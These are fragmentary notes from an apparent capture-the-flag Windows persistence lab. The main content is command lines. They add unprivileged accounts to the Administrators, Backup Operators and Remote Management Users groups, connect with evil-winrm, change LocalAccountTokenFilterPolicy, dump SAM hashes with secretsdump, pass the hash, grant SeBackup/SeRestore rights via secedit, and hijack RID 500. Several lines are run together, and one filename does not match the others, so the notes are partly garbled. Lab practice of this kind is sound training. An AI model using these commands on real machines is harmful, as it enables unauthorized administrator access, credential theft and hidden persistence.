net localgroups can be used to add unprivileged accounts to Admininstrators / Backup Operators groups for higher privilege or access
Example:
net localgroup administrators thmuser0 /add
net localgroup "Backup Operators" thmuser1 /add
net localgroup "Remote Management Users" thmuser1 /add
net localgroup "Backup Operators" thmuser1 /add - this will add thmuser1 user to the Backup Operators group helping us ignore all the ACLsthmuser1 is an unprivileged account, we have to add it to the “Remote Management Users” group so that we can RDP or WinRM to the machine. Run the command: net localgroup "Remote Management Users" thmuser1 /addevil-winrm -i 10.81.179.227 -u thmuser1 -p Password321
dir /A you will see you cant run it due to the group “Backup Operators” being disabled.

LocalAccountTokenFilterPolicy.
We will have to regain admin privileges by disabling the feature. Run the command on the attached machine with Admin privileges / RDP-ed with Admin:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

exit out of the previous session and get back in same way as step 4. You will see the group is not active.


python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

f3118544--------80cfdb9c1fa. Let’s pass the hash to connect to the machine as admin. Run the command:
evil-winrm -i 10.81.179.227 -u Administrator -H ff3118544--------80cfdb9c1faflag1.exe for our first flag.

SeBackupPrivilege and SeRestorePrivilege. Let’s assign such high privileges to ANY user, independent of their group memberships: (Run the command on the attached machine)
secedit /export /cfg config.inf

secedit /import /cfg config.ini /db config.db
secedit /configure /db config.db /cfg config.ini
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

thmUser2

flag2.exe
evil-winrm -i 10.81.181.37 -u thmuser2 -p Password321

wmic useraccount get name,sid

500 for Administrator We have to assign 500 to thmUser3 by accessing the SAM using regedit - can only be done using psexec available in C:\tools\pstools in machine.
Note: The SID is an identifier that allows the operating system to identify a user across a domain

flag3.exe